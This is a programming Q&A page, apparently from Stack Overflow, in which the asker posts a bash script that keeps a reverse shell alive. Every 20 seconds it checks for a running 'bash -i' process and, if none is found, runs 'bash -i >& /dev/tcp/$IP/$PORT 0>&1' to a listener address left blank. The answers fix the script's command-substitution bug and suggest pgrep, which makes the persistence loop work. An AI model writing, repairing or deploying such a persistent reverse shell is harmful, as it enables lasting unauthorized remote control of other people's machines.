0

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.

What am I doing wrong? My code is below.

#!/bin/bash
#A small program designed to establish and keep a reverse shell open


IP=""               #Insert your IP here
PORT=""             #Insert the Port you're listening on here. 

while(true); do
        if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
        then
                echo "Process not found, launching reverse shell to $IP on port $PORT"
                bash -i >& /dev/tcp/$IP/$PORT 0>&1
                sleep 20
        else
                echo "Process found, sleeping for 20 seconds..."
                ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                sleep 20


        fi


done
3
  • 3
    Use backticks or $(...) not single quotes around a subcommand whose output should be substituted into the command. Commented Feb 13, 2018 at 5:22
  • 1
    BTW, you can use pgrep instead of writing that pipe. Commented Feb 13, 2018 at 5:23
  • 1
    You can also use the final grep or pgrep command as the condition directly: if ps -ef | grep "bash -i" | grep -vq grep; then... ( the -q option tells grep not to print anything, just exit successfully if it finds a (non)match) or if pgrep -f "bash -i" >/dev/null; then... Commented Feb 13, 2018 at 5:49

2 Answers 2

1

There is a small change required in your code. You have to use tilt "`" instead of single quotes "''" inside if.

if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l`  -eq 0 ]

This worked for me. Hope it helps you too.

Sign up to request clarification or add additional context in comments.

2 Comments

I'll suggest using $() instead of backticks for the command substitution (here you can find a longer explanation: Why is $(...) preferred over ... (backticks)?)
Above link is a great. @cristianRamon
1

Besides the typo mentioned in the comments it should be:

if ! pgrep -f 'bash -i' > /dev/null ; then
    echo "process not found"
else
    echo "process found"
fi

Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.


PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.